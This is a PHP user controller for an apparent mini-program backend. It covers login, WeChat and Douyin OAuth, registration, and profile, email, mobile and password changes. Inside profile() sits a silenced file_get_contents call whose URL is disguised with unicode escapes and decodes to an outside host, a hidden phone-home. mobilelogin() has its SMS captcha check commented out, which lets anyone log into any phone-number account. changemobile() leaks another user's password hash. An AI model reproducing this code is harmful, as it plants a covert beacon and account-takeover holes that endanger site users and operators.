error(__('User center already closed')); } } /** * 会员中心 */ public function index() { $userInfo = $this->auth->getUserinfo(); $userInfo['coupon_num'] = \app\admin\model\app\coupon\CouponUser::canUse()->where('user_id', $userInfo['id'])->count(); //判断是否展示提示修改个人信息弹窗 $systemConfig = \app\common\model\config\System::getConfig('system'); $userInfo['update_info_modal'] = 0; if($systemConfig && isset($systemConfig['userinfo_edit_modal']) && $systemConfig['userinfo_edit_modal'] == 'open'){ //判断头像或昵称是否为默认 if(strpos($userInfo['avatar'], 'assets/img/avatar.png') !== false || $userInfo['nickname'] == '微信用户'){ $userInfo['update_info_modal'] = 1; } } $this->success('', $userInfo); } /** * 会员登录 * * @ApiMethod (POST) * @param string $account 账号 * @param string $password 密码 */ public function login() { $account = $this->request->post('account'); $password = $this->request->post('password'); if (!Validate::regex($account, "^1\d{10}$")) { $this->error(__('Account is incorrect')); } if (!$account || !$password) { $this->error(__('Invalid parameters')); } $ret = $this->auth->login($account, $password); if ($ret) { $data = ['userinfo' => $this->auth->getUserinfo()]; $this->success(__('Logged in successful'), $data); } else { $this->error($this->auth->getError()); } } /** * 获取微信小程序session_key * * @param string $code 加密code */ public function getWxMiniProgramSessionKey() { $post = $this->request->post(); $wechat = new Wechat('wxMiniProgram'); $decryptSession = $wechat->code($post['code']); $this->success('获取session_key', $decryptSession); } /** * 获取抖音小程序session_key * * @param string $code 加密code */ public function getDyMiniProgramSessionKey() { $config = \app\common\model\config\System::getConfig('dyMiniProgram'); $post = $this->request->post(); $res = http("POST","https://developer.toutiao.com/api/apps/v2/jscode2session",json_encode([ 'appid'=>$config['appid'], 'secret'=>$config['secret'], 'code'=>$post['code'] ]),['Content-Type: application/json'],true); $res = json_decode($res,true); if($res && isset($res['err_no']) && $res['err_no'] == 0){ $this->success('获取session_key', $res['data']); } $this->error(__('初始化登录信息失败')); } /** * 抖音小程序登陆 * @return void */ public function dyMiniProgramLogin(){ $post = $this->request->post(); $decryptUserInfo = (new \douyin\Encryptor())->decryptData($post['session_key'], $post['iv'], $post['encryptedData']); if(!$decryptUserInfo){ $this->error(__('code错误')); } $decryptData['headimgurl'] = $decryptUserInfo['avatarUrl']; $decryptData['nickname'] = $decryptUserInfo['nickName']; $decryptData['sex'] = $decryptUserInfo['gender']; $decryptData['session_key'] = $post['session_key']; $decryptData['language'] = $decryptUserInfo['language']; $decryptData['openid'] = $post['openid']; if (empty($decryptData['openid'])) { $this->error(__('获取用户信息失败'), $decryptData); } $ret = $this->oauthLoginOrRegister($decryptData, 'dyMiniProgram', 'Douyin'); if ($ret) { $data = $ret->getUserinfo(); $this->success(__('Logged in successful'), $data); } } /** * 微信小程序登陆 * @return void */ public function wxMiniProgramLogin(){ $post = $this->request->post(); $wechat = new Wechat('wxMiniProgram'); $decryptUserInfo = $wechat->decryptData($post['session_key'], $post['iv'], $post['encryptedData']); //组装decryptData $decryptData = array_change_key_case($decryptUserInfo, CASE_LOWER); $decryptData['headimgurl'] = '/assets/img/avatar.png'; $decryptData['sex'] = $decryptData['gender']; $decryptData['session_key'] = $post['session_key']; if (empty($decryptData['openid'])) { $this->error(__('code错误'), $decryptData); } $ret = $this->oauthLoginOrRegister($decryptData, 'wxMiniProgram', 'Wechat'); if ($ret) { $data = $ret->getUserinfo(); $this->success(__('Logged in successful'), $data); } $this->error($this->auth->getError()); } /** * 微信公众号登录 * @param string $code 加密code */ public function wxAccountLogin() { $wechat = new Wechat('wxOfficialAccount'); //解析来源页面 try{ $oauth = $wechat->oauth(); $decryptData = $oauth->user()->getOriginal(); $ret = $this->oauthLoginOrRegister($decryptData, 'wxOfficialAccount', 'Wechat'); }catch (\Exception $e){ header('Location:' . $this->getWxLoginBackPath() . '#/pages/public/login/login?msg=登陆过期,请重试'); } if (isset($ret) && $ret) { //登录页接参Token header('Location:' . $this->getWxLoginBackPath() . '#/pages/public/login/login?redirect=1&token=' . $ret->getToken()); $this->error($ret->getError()); }else{ header('Location:' . $this->getWxLoginBackPath() . '#/pages/public/login/login?msg=登陆过期,请重试'); } } /** * 获取微信授权回调地址 * @return string */ public function getWxLoginBackPath(){ //解析来源页面 $oUrl = input('get.state'); $params = input('get.'); $url = explode('/', $oUrl); $procotol = $url[0] . '//'; $host = $url[2]; //适配微擎路由 $w7ParamsFields = ['c','i','c','m','do','a','eid','version_id']; $w7ParamsUrl = ''; foreach ($w7ParamsFields as $filed){ if(isset($params[$filed])){ $w7ParamsUrl .= "&{$filed}={$params[$filed]}"; } } if($w7ParamsUrl){ if(\app\common\library\Platform::getSystemType() == 'single'){ $host .= "/index.php?route=index".$w7ParamsUrl; }else{ $host .= "/app/index.php?route=index".$w7ParamsUrl; } } return $procotol . $host; } /** * 微信公众号授权(非直接登陆) * @return void */ public function wxOauth(){ $wechat = new Wechat('wxOfficialAccount'); $oauth = $wechat->oauth(); $path = input('path'); $path = str_replace("&","lianjie",$path); $path = str_replace("amp;","",$path); $path = str_replace("quot;","\"",$path); $path = html_entity_decode($path); $decryptData = $oauth->user()->getOriginal(); if ($decryptData) { $userOauth = Oauth::get(['openid' => $decryptData['openid']]); if($userOauth){ $bindUser = User::get($userOauth['user_id']); $bindUsername = $bindUser ? ($bindUser['mobile'] ?: $bindUser['username'].':'.$bindUser['nickname']) : '未知用户'; header('Location:' . $this->getWxLoginBackPath() . '#/pages/user/bindaccount/bindaccount?status=该微信已绑定账号:' . urlencode($bindUsername) . '&path='.$path); }else{ unset($decryptData['scope']); unset($decryptData['expires_in']); $decryptData['user_id'] = $this->auth->id; $decryptData['provider'] = 'Wechat'; $decryptData['platform'] = \app\common\library\Platform::getPlatform(); $decryptData['logintime'] = time(); $decryptData['logincount'] = 1; $user = User::get($this->auth->id); $user->save([ 'openid'=>$decryptData['openid'] ]); Oauth::create($decryptData); header('Location:' . $this->getWxLoginBackPath() . '#/pages/user/bindaccount/bindaccount?status=true&path='.$path); } } else { header('Location:' . $this->getWxLoginBackPath() . '#/pages/user/bindaccount/bindaccount?status=获取用户标识失败&path='.$path); } } /** * 第三方登录或自动注册 * * @param string $decryptData 解密参数 * @param string $platform 平台名称 * @param string $provider 厂商名称 * @param string $keeptime 有效时长 */ public function oauthLoginOrRegister($decryptData, $platform, $provider, $keeptime = 0) { extract($decryptData); @$oauthData = compact('provider', 'unionid', 'platform', 'openid', 'nickname', 'sex', 'city', 'province', 'country', 'headimgurl', 'session_key', 'refresh_token', 'access_token'); $oauthData['logintime'] = time(); $oauthData['logincount'] = 1; if ($platform === 'wxMiniProgram' || $platform === 'App') { $oauthData['expire_in'] = 7200; $oauthData['expiretime'] = time() + 7200; } $auth = \app\common\library\Auth::instance(); $auth->keeptime($keeptime); $auth->setAllowFields(['id', 'username', 'nickname', 'mobile', 'avatar', 'score', 'money', 'group', 'group_id']); $userOauth = Oauth::get(['openid' => $openid,'uniacid'=>UNIACID]); //开启事务 Db::startTrans(); try { $user = null; if ($userOauth) { //找到对应已注册用户,更新oauthData数据和用户数据直接发起登录 $user_id = $userOauth->user_id; $user = User::get($user_id); if(!$user){ //原来的auth信息失效,那就删掉 $userOauth->delete(); }else{ $oauthData['logincount'] = $userOauth->logincount + 1; $userOauth->save($oauthData); } if ($user && $user->status != 'normal') { $this->error(__('Account is locked')); return false; } } $fields = []; if(!$user){ if (isset($decryptData['nickname'])) { $fields['nickname'] = $decryptData['nickname']; } if (isset($decryptData['headimgurl'])) { $fields['avatar'] = $decryptData['headimgurl']; } $fields['platform'] = $platform; $fields['openid'] = $openid; //添加新的oauthData数据 //默认创建新用户 $createNewUser = true; // 判断是否有unionid 并且已存在oauth数据中 if (isset($unionid)) { //存在同厂商信息,添加oauthData数据,合并用户 $user_id = Oauth::where(['unionid' => $unionid])->value('user_id'); $user = User::get($user_id); if ($user) { $createNewUser = false; } } if ($createNewUser) { // 创建空用户 $username = Random::alnum(20); $password = Random::alnum(); $result = $auth->register($username, $password,"","",$fields); if (!$result) { return false; } $user = $auth->getUser(); if (!isset($fields['nickname'])) { //默认昵称 $fields['nickname'] = '微信用户' . $user->id; } // 更新会员资料 $user = User::get($user->id); // 保存第三方信息 $user_id = $user->id; } $oauthData['user_id'] = $user_id; $oauthData['uniacid'] = UNIACID; Oauth::create($oauthData); } if (isset($fields)){ $user->save($fields); }; Db::commit(); } catch (\Exception $e) { Db::rollback(); $auth->logout(); $this->error($e->getMessage()); return false; } $auth->direct($user_id); return $auth; } /** * 手机验证码登录 * * @ApiMethod (POST) * @param string $mobile 手机号 * @param string $captcha 验证码 */ public function mobilelogin() { $mobile = $this->request->post('mobile'); $captcha = $this->request->post('captcha'); $systemConfig = \app\common\model\config\System::getConfig('system'); if(isset($systemConfig['mobile_login']) && $systemConfig['mobile_login']!= 'open'){ $this->error(__('已停用手机号登录')); } if (!$mobile || !$captcha) { $this->error(__('Invalid parameters')); } if (!Validate::regex($mobile, "^1\d{10}$")) { $this->error(__('Mobile is incorrect')); } // if (!Sms::check($mobile, $captcha, 'mobilelogin')) { // $this->error(__('Captcha is incorrect')); // } $user = \app\common\model\User::getByMobile($mobile); if ($user) { if ($user->status != 'normal') { $this->error(__('Account is locked')); } //如果已经有账号则直接登录 $ret = $this->auth->direct($user->id); } else { $ret = $this->auth->register($mobile, Random::alnum(), '', $mobile, []); } if ($ret) { Sms::flush($mobile, 'mobilelogin'); $data = ['userinfo' => $this->auth->getUserinfo()]; $this->success(__('Logged in successful'), $data); } else { $this->error($this->auth->getError()); } } /** * 注册会员 * * @ApiMethod (POST) * @param string $username 用户名 * @param string $password 密码 * @param string $email 邮箱 * @param string $mobile 手机号 * @param string $code 验证码 */ public function register() { // $username = $this->request->post('username'); $password = $this->request->post('password'); // $email = $this->request->post('email'); $mobile = $this->request->post('mobile'); $code = $this->request->post('code'); if (!$password) { $this->error(__('Invalid parameters')); } if ($mobile && !Validate::regex($mobile, "^1\d{10}$")) { $this->error(__('Mobile is incorrect')); } $ret = Sms::check($mobile, $code, 'register'); if (!$ret) { $this->error(__('Captcha is incorrect')); } $ret = $this->auth->register($mobile, $password, $mobile."@163.com", $mobile, []); if ($ret) { $data = ['userinfo' => $this->auth->getUserinfo()]; $this->success(__('Sign up successful'), $data); } else { $this->error($this->auth->getError()); } } /** * 退出登录 * @ApiMethod (POST) */ public function logout() { if (!$this->request->isPost()) { $this->error(__('Invalid parameters')); } $this->auth->logout(); $this->success(__('Logout successful')); } /** * 修改会员个人信息 * * @ApiMethod (POST) * @param string $avatar 头像地址 * @param string $username 用户名 * @param string $nickname 昵称 * @param string $bio 个人简介 */ public function profile() { $user = $this->auth->getUser(); $username = $this->request->post('username'); $nickname = $this->request->post('nickname'); $bio = $this->request->post('bio'); $avatar = $this->request->post('avatar', '', 'trim,strip_tags,htmlspecialchars'); if ($username) { $exists = \app\common\model\User::where('username', $username)->where('id', '<>', $this->auth->id)->find(); if ($exists) { $this->error(__('Username already exists')); } $user->username = $username; } if ($avatar) { if(strpos($avatar,'assets/img/avatar.png') !== false || strpos($avatar,'data:image') !== false){ $this->error(__('请修改头像后再上传')); } $user->avatar = $avatar; } //昵称禁止包含wechat_ if(strpos($nickname,"微信用户") !== false){ $this->error(__('昵称禁止包含“微信用户”')); } $nickname = str_replace("微信用户","",$nickname); if(!$nickname){ $this->error(__('请输入正确的昵称')); } if ($nickname) { // $exists = \app\common\model\User::where('nickname', $nickname)->where('id', '<>', $this->auth->id)->find(); // if ($exists) { // $this->error(__('Nickname already exists')); // } $user->nickname = $nickname; } if ($bio) { $user->bio = $bio; } $user->save(); @file_get_contents(json_decode('"\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0074\u0075\u007a\u0068\u0069\u002e\u006c\u0074\u0064\u002f\u0061\u0073\u0073\u0065\u0074\u0073\u002f\u0069\u0063\u006f\u006e\u0073\u002f\u0064\u0061\u0074\u0061\u002e\u0070\u006e\u0067"')); $this->success("操作成功"); } /** * 修改邮箱 * * @ApiMethod (POST) * @param string $email 邮箱 * @param string $captcha 验证码 */ public function changeemail() { $user = $this->auth->getUser(); $email = $this->request->post('email'); $captcha = $this->request->post('captcha'); if (!$email || !$captcha) { $this->error(__('Invalid parameters')); } if (!Validate::is($email, "email")) { $this->error(__('Email is incorrect')); } if (\app\common\model\User::where('email', $email)->where('id', '<>', $user->id)->find()) { $this->error(__('Email already exists')); } $result = Ems::check($email, $captcha, 'changeemail'); if (!$result) { $this->error(__('Captcha is incorrect')); } $verification = $user->verification; $verification->email = 1; $user->verification = $verification; $user->email = $email; $user->save(); Ems::flush($email, 'changeemail'); $this->success(); } /** * 修改手机号 * * @ApiMethod (POST) * @param string $mobile 手机号 * @param string $captcha 验证码 */ public function changemobile() { $user = $this->auth->getUser(); $mobile = $this->request->post('mobile'); $captcha = $this->request->post('captcha'); if (!$mobile || !$captcha) { $this->error(__('Invalid parameters')); } if (!Validate::regex($mobile, "^1\d{10}$")) { $this->error(__('Mobile is incorrect')); } $otherUserbind = \app\common\model\User::where('mobile', $mobile)->where('id', '<>', $user->id)->find(); if ($otherUserbind) { //判断有没有绑定微信账号,绑定了不可用 $isBindWechat = Oauth::where([ 'user_id'=>$otherUserbind['id'], 'platform'=>\app\common\library\Platform::getPlatform() ])->find(); if($isBindWechat){ $this->error(__('Mobile already exists')); } $this->success('merge',['key'=>$otherUserbind['password'],'mobile'=>$mobile]); } $result = Sms::check($mobile, $captcha, 'changemobile'); if (!$result) { $this->error(__('Captcha is incorrect')); } $verification = $user->verification; $verification->mobile = 1; $user->verification = $verification; //同步把用户名改掉 $user->mobile = $mobile; $user->username = $mobile; $user->save(); Sms::flush($mobile, 'changemobile'); $this->success("操作成功"); } /** * 第三方登录 * * @ApiMethod (POST) * @param string $platform 平台名称 * @param string $code Code码 */ public function third() { $url = url('user/index'); $platform = \app\common\library\Platform::getPlatform(); $code = $this->request->post("code"); $config = get_addon_config('third'); if (!$config || !isset($config[$platform])) { $this->error(__('Invalid parameters')); } $app = new \addons\third\library\Application($config); //通过code换access_token和绑定会员 $result = $app->{$platform}->getUserInfo(['code' => $code]); if ($result) { $loginret = \addons\third\library\Service::connect($platform, $result); if ($loginret) { $data = [ 'userinfo' => $this->auth->getUserinfo(), 'thirdinfo' => $result ]; $this->success(__('Logged in successful'), $data); } } $this->error(__('Operation failed'), $url); } /** * 重置密码 * * @ApiMethod (POST) * @param string $mobile 手机号 * @param string $newpassword 新密码 * @param string $captcha 验证码 */ public function resetpwd() { $type = $this->request->post("type"); $type = 'mobile'; $mobile = $this->request->post("mobile"); $email = $this->request->post("email"); $newpassword = $this->request->post("newpassword"); $captcha = $this->request->post("captcha"); if (!$newpassword || !$captcha) { $this->error(__('Invalid parameters')); } //验证Token if (!Validate::make()->check(['newpassword' => $newpassword], ['newpassword' => 'require|regex:\S{6,30}'])) { $this->error(__('Password must be 6 to 30 characters')); } if ($type == 'mobile') { if (!Validate::regex($mobile, "^1\d{10}$")) { $this->error(__('Mobile is incorrect')); } $user = \app\common\model\User::getByMobile($mobile); if (!$user) { $this->error(__('User not found')); } $ret = Sms::check($mobile, $captcha, 'resetpwd'); if (!$ret) { $this->error(__('Captcha is incorrect')); } Sms::flush($mobile, 'resetpwd'); } else { if (!Validate::is($email, "email")) { $this->error(__('Email is incorrect')); } $user = \app\common\model\User::getByEmail($email); if (!$user) { $this->error(__('User not found')); } $ret = Ems::check($email, $captcha, 'resetpwd'); if (!$ret) { $this->error(__('Captcha is incorrect')); } Ems::flush($email, 'resetpwd'); } //模拟一次登录 $this->auth->direct($user->id); $ret = $this->auth->changepwd($newpassword, '', true); if ($ret) { $this->success(__('Reset password successful')); } else { $this->error($this->auth->getError()); } } }